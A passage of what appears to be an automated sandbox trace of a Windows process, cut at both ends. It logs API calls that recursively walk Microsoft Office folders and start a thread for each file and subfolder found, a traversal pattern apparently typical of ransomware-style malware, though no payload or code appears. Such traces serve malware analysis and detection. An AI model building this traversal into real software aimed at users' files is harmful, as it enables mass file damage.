_Dest=0x1b85bfd0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14" [0086.095] wcscat (in: _Dest=0x1b85bfd0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0086.095] wcscat (in: _Dest=0x1b85bfd0, _Source="Waveform.thmx" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Waveform.thmx" [0086.095] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b85bfd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7ec [0086.096] FindNextFileW (in: hFindFile=0x1b7cec40, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 0 [0086.096] FindClose (in: hFindFile=0x1b7cec40 | out: hFindFile=0x1b7cec40) returned 1 [0086.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0086.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d770) returned 1 [0086.097] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79d670) returned 1 Thread: id = 144 os_tid = 0x5bc [0086.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b7cec40 [0086.102] wcscpy (in: _Dest=0x1b7cec40, _Source="C:\\Program Files\\Microsoft Office\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0086.102] wcscat (in: _Dest=0x1b7cec40, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\" [0086.102] wcscat (in: _Dest=0x1b7cec40, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\*") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\*" [0086.102] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0086.102] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7cebe0 [0086.103] wcscmp (_String1=".", _String2=".") returned 0 [0086.103] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.103] wcscmp (_String1="..", _String2=".") returned 1 [0086.103] wcscmp (_String1="..", _String2="..") returned 0 [0086.103] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0086.103] wcscmp (_String1="CAGCAT10", _String2=".") returned 1 [0086.103] wcscmp (_String1="CAGCAT10", _String2="..") returned 1 [0086.103] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c2360 [0086.103] wcscpy (in: _Dest=0x1b7c2360, _Source="C:\\Program Files\\Microsoft Office\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0086.103] wcscat (in: _Dest=0x1b7c2360, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\" [0086.103] wcscat (in: _Dest=0x1b7c2360, _Source="CAGCAT10" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" [0086.103] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2360, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c [0086.103] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0086.104] wcscmp (_String1="OFFICE14", _String2=".") returned 1 [0086.104] wcscmp (_String1="OFFICE14", _String2="..") returned 1 [0086.104] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1b7c23d0 [0086.104] wcscpy (in: _Dest=0x1b7c23d0, _Source="C:\\Program Files\\Microsoft Office\\MEDIA" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA") returned="C:\\Program Files\\Microsoft Office\\MEDIA" [0086.104] wcscat (in: _Dest=0x1b7c23d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\" [0086.104] wcscat (in: _Dest=0x1b7c23d0, _Source="OFFICE14" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14" [0086.104] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c23d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f0 [0086.104] FindNextFileW (in: hFindFile=0x1b7cebe0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0086.104] FindClose (in: hFindFile=0x1b7cebe0 | out: hFindFile=0x1b7cebe0) returned 1 [0086.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0086.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7cec40) returned 1 [0086.106] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ceca0) returned 1 Thread: id = 145 os_tid = 0x880 [0086.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c2440 [0086.108] wcscpy (in: _Dest=0x1b7c2440, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.108] wcscat (in: _Dest=0x1b7c2440, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.108] wcscat (in: _Dest=0x1b7c2440, _Source="*" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\*") returned="C:\\Program Files\\Microsoft Office\\Office14\\*" [0086.108] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0086.108] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceca0 [0086.108] wcscmp (_String1=".", _String2=".") returned 0 [0086.108] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe5db9aa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5db9aa0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0086.111] wcscmp (_String1="..", _String2=".") returned 1 [0086.111] wcscmp (_String1="..", _String2="..") returned 0 [0086.111] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdf0acac0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xdf0acac0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0086.111] wcscmp (_String1="1033", _String2=".") returned 1 [0086.111] wcscmp (_String1="1033", _String2="..") returned 1 [0086.111] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c24b0 [0086.111] wcscpy (in: _Dest=0x1b7c24b0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.111] wcscat (in: _Dest=0x1b7c24b0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.111] wcscat (in: _Dest=0x1b7c24b0, _Source="1033" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1033") returned="C:\\Program Files\\Microsoft Office\\Office14\\1033" [0086.111] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c24b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f4 [0086.112] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x779e270, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x779e270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x779e270, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1036", cAlternateFileName="")) returned 1 [0086.112] wcscmp (_String1="1036", _String2=".") returned 1 [0086.112] wcscmp (_String1="1036", _String2="..") returned 1 [0086.112] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2520 [0086.112] wcscpy (in: _Dest=0x1b7c2520, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.112] wcscat (in: _Dest=0x1b7c2520, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.112] wcscat (in: _Dest=0x1b7c2520, _Source="1036" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\1036") returned="C:\\Program Files\\Microsoft Office\\Office14\\1036" [0086.112] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2520, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7f8 [0086.113] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a4f390, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a4f390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a4f390, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="3082", cAlternateFileName="")) returned 1 [0086.113] wcscmp (_String1="3082", _String2=".") returned 1 [0086.113] wcscmp (_String1="3082", _String2="..") returned 1 [0086.113] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c2590 [0086.113] wcscpy (in: _Dest=0x1b7c2590, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.113] wcscat (in: _Dest=0x1b7c2590, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.113] wcscat (in: _Dest=0x1b7c2590, _Source="3082" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\3082") returned="C:\\Program Files\\Microsoft Office\\Office14\\3082" [0086.113] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7c2590, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x7fc [0086.114] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x50ff7a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x1313b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDS.DLL", cAlternateFileName="")) returned 1 [0086.114] wcscmp (_String1="ACCDDS.DLL", _String2=".") returned 1 [0086.114] wcscmp (_String1="ACCDDS.DLL", _String2="..") returned 1 [0086.114] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x8d7a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSF.DLL", cAlternateFileName="")) returned 1 [0086.114] wcscmp (_String1="ACCDDSF.DLL", _String2=".") returned 1 [0086.114] wcscmp (_String1="ACCDDSF.DLL", _String2="..") returned 1 [0086.114] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x5e8e0f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x86db0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCDDSLM.DLL", cAlternateFileName="")) returned 1 [0086.114] wcscmp (_String1="ACCDDSLM.DLL", _String2=".") returned 1 [0086.114] wcscmp (_String1="ACCDDSLM.DLL", _String2="..") returned 1 [0086.114] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603a86d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessWeb", cAlternateFileName="ACCESS~1")) returned 1 [0086.114] wcscmp (_String1="AccessWeb", _String2=".") returned 1 [0086.114] wcscmp (_String1="AccessWeb", _String2="..") returned 1 [0086.114] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6a) returned 0x1b79d670 [0086.114] wcscpy (in: _Dest=0x1b79d670, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.114] wcscat (in: _Dest=0x1b79d670, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.114] wcscat (in: _Dest=0x1b79d670, _Source="AccessWeb" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb") returned="C:\\Program Files\\Microsoft Office\\Office14\\AccessWeb" [0086.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b79d670, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x804 [0086.115] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf73e1e00, ftCreationTime.dwHighDateTime=0x1cacb3c, ftLastAccessTime.dwLowDateTime=0x51090010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf73e1e00, ftLastWriteTime.dwHighDateTime=0x1cacb3c, nFileSizeHigh=0x0, nFileSizeLow=0x161d60, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCICONS.EXE", cAlternateFileName="")) returned 1 [0086.115] wcscmp (_String1="ACCICONS.EXE", _String2=".") returned 1 [0086.115] wcscmp (_String1="ACCICONS.EXE", _String2="..") returned 1 [0086.115] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4e33900, ftCreationTime.dwHighDateTime=0x1cab7ec, ftLastAccessTime.dwLowDateTime=0x510dc2d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa4e33900, ftLastWriteTime.dwHighDateTime=0x1cab7ec, nFileSizeHigh=0x0, nFileSizeLow=0x452988, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCVDT.DLL", cAlternateFileName="")) returned 1 [0086.115] wcscmp (_String1="ACCVDT.DLL", _String2=".") returned 1 [0086.115] wcscmp (_String1="ACCVDT.DLL", _String2="..") returned 1 [0086.116] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51174850, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5ead0130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5ead0130, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ", cAlternateFileName="")) returned 1 [0086.116] wcscmp (_String1="ACCWIZ", _String2=".") returned 1 [0086.116] wcscmp (_String1="ACCWIZ", _String2="..") returned 1 [0086.116] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7a3340 [0086.116] wcscpy (in: _Dest=0x1b7a3340, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.116] wcscat (in: _Dest=0x1b7a3340, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.116] wcscat (in: _Dest=0x1b7a3340, _Source="ACCWIZ" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ") returned="C:\\Program Files\\Microsoft Office\\Office14\\ACCWIZ" [0086.116] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a3340, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x808 [0086.117] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xadd30b00, ftCreationTime.dwHighDateTime=0x1cab7ea, ftLastAccessTime.dwLowDateTime=0x5e953370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xadd30b00, ftLastWriteTime.dwHighDateTime=0x1cab7ea, nFileSizeHigh=0x0, nFileSizeLow=0x33580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCWIZ.DLL", cAlternateFileName="")) returned 1 [0086.117] wcscmp (_String1="ACCWIZ.DLL", _String2=".") returned 1 [0086.117] wcscmp (_String1="ACCWIZ.DLL", _String2="..") returned 1 [0086.117] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82c38c00, ftCreationTime.dwHighDateTime=0x1caca23, ftLastAccessTime.dwLowDateTime=0x50ea0e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x82c38c00, ftLastWriteTime.dwHighDateTime=0x1caca23, nFileSizeHigh=0x0, nFileSizeLow=0xb5db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACEDAO.DLL", cAlternateFileName="")) returned 1 [0086.117] wcscmp (_String1="ACEDAO.DLL", _String2=".") returned 1 [0086.117] wcscmp (_String1="ACEDAO.DLL", _String2="..") returned 1 [0086.117] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x695e6e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x695e6e70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADDINS", cAlternateFileName="")) returned 1 [0086.117] wcscmp (_String1="ADDINS", _String2=".") returned 1 [0086.117] wcscmp (_String1="ADDINS", _String2="..") returned 1 [0086.117] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x64) returned 0x1b7a32d0 [0086.117] wcscpy (in: _Dest=0x1b7a32d0, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.117] wcscat (in: _Dest=0x1b7a32d0, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.117] wcscat (in: _Dest=0x1b7a32d0, _Source="ADDINS" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADDINS" [0086.117] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7a32d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x80c [0086.118] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84eaab00, ftCreationTime.dwHighDateTime=0x1c9c978, ftLastAccessTime.dwLowDateTime=0x512a5350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x84eaab00, ftLastWriteTime.dwHighDateTime=0x1c9c978, nFileSizeHigh=0x0, nFileSizeLow=0x1934ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADVCMP.DIC", cAlternateFileName="")) returned 1 [0086.118] wcscmp (_String1="ADVCMP.DIC", _String2=".") returned 1 [0086.118] wcscmp (_String1="ADVCMP.DIC", _String2="..") returned 1 [0086.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x6c) returned 0x1b79d770 [0086.118] wcscpy (in: _Dest=0x1b79d770, _Source="C:\\Program Files\\Microsoft Office\\Office14" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14") returned="C:\\Program Files\\Microsoft Office\\Office14" [0086.118] wcscat (in: _Dest=0x1b79d770, _Source="\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\" [0086.118] wcscat (in: _Dest=0x1b79d770, _Source="ADVCMP.DIC" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC") returned="C:\\Program Files\\Microsoft Office\\Office14\\ADVCMP.DIC" [0086.118] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b79d770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x810 [0086.119] FindNextFileW (in: hFindFile=0x1b7ceca0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd33c7e00, ftCreationTime.dwHighDateTime=0x1c18605, ftLastAccessTime.dwLowDateTime=0x5eb42550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd33c7e00, ftLastWriteTime.dwHighDateTime=0x1c18605, nFileSizeHigh=0x0, nFileSizeLow=0x3a1fd6, dwReserved0=0x0, dwReserved1=0x0, 